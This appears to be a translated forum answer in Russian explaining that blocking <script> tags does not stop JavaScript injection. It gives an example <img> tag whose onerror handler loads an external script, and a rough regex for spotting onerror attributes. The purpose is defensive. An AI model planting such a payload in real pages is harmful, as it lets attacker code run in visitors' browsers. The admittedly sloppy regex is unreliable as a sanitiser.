Имейте в виду, что есть и другие способы внедрения JavaScript на страницу - вам придется сделать больше, чем просто обнулить теги <script>
.
Например, вы можете включить Javascript в качестве атрибута DOM - ион будет выполнен.
<img src="ლ(ಠ益ಠლ)" onerror="var b=document.createElement('script');b.setAttribute('src','http://www.example.com/script.js');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(b,s);"/>
Этот тег <img>
имеет поддельный URL, поэтому он вызовет ошибку, вызвав обработчик onerror
.В этом случае я установил его для загрузки внешнего файла JS.
Вам придется выполнить дополнительную обработку, если вы ДЕЙСТВИТЕЛЬНО хотите предотвратить выполнение произвольного Javascript.
следующее (супер неаккуратное) регулярное выражение будет соответствовать любому тегу HTML, который содержит атрибут onerror
, кроме YMMV.В этой форме он также будет соответствовать таким вещам, как: <div class="onerror">
, и вы не хотите удалять потенциально безопасные вещи.
(<)(.*?)(onerror)(.*?)(>)